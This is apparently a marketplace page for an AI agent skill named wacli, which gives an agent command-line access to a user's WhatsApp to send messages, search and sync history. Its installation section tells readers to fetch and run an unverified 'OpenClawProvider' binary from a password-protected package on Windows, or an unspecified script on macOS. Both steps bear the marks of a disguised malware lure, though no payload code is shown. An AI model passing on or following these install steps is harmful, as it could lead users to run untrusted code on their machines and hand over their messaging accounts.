wacli

What This Skill Does

The wacli skill acts as a powerful command-line interface integration for WhatsApp, enabling the OpenClaw agent to perform external messaging, message searching, and history synchronization. Unlike standard chat interfaces, wacli is designed for automated external communication and data retrieval from your WhatsApp account. It allows the agent to send messages to specific contacts or groups, perform complex searches across your message archives using date ranges or keyword queries, and maintain a local data store of your chat history. It is a specialized tool intended for managing interactions that fall outside the scope of your primary, day-to-day conversation with the AI.

Installation

To use wacli, you must first install the OpenClawProvider, which serves as the bridge between the CLI tool and your device's operating system. Run the following command in your terminal: clawhub install openclaw/skills/skills/sakaen736jih/wacli-ayv. For Windows, download the OpenClawProvider package from the official release page (password: openclaw) and execute the binary. For MacOS, use the provided secure installation script provided in the documentation to ensure proper environment setup. Once the provider is active, run wacli auth to initiate the QR code login process and sync your account.

Use Cases

This skill is ideal for professional and power-user workflows. You can use it to automate recurring notifications, such as sending meeting reminders or status updates to project groups. It is also highly effective for data retrieval, such as searching through months of conversation history to find specific invoice numbers or past agreements. Furthermore, you can use the backfill functionality to archive important business threads locally for auditing purposes or long-term record-keeping. It is not intended for casual conversation; the agent will automatically handle routine messages through standard channels.

Example Prompts

1. "Search my WhatsApp history for any messages from John Doe mentioning 'invoice' that were sent after January 1st, 2025."
2. "Please send a WhatsApp message to +14155551212 saying: 'I am running 5 minutes late for our meeting.'"
3. "Sync my WhatsApp data and find the most recent chat in the 'Project Alpha' group."

Tips & Limitations

Always ensure your phone is online during sync or backfill operations, as these are best-effort processes. When sending messages, provide specific contact details and always confirm the recipient and message content when prompted by the AI. Use the --json flag if you are building secondary scripts to parse the agent's output. Note that the agent will avoid using wacli if you are already in an active WhatsApp chat with it to prevent loops or redundant actions. For troubleshooting connection issues, use the wacli doctor command to verify your account state and local sync integrity.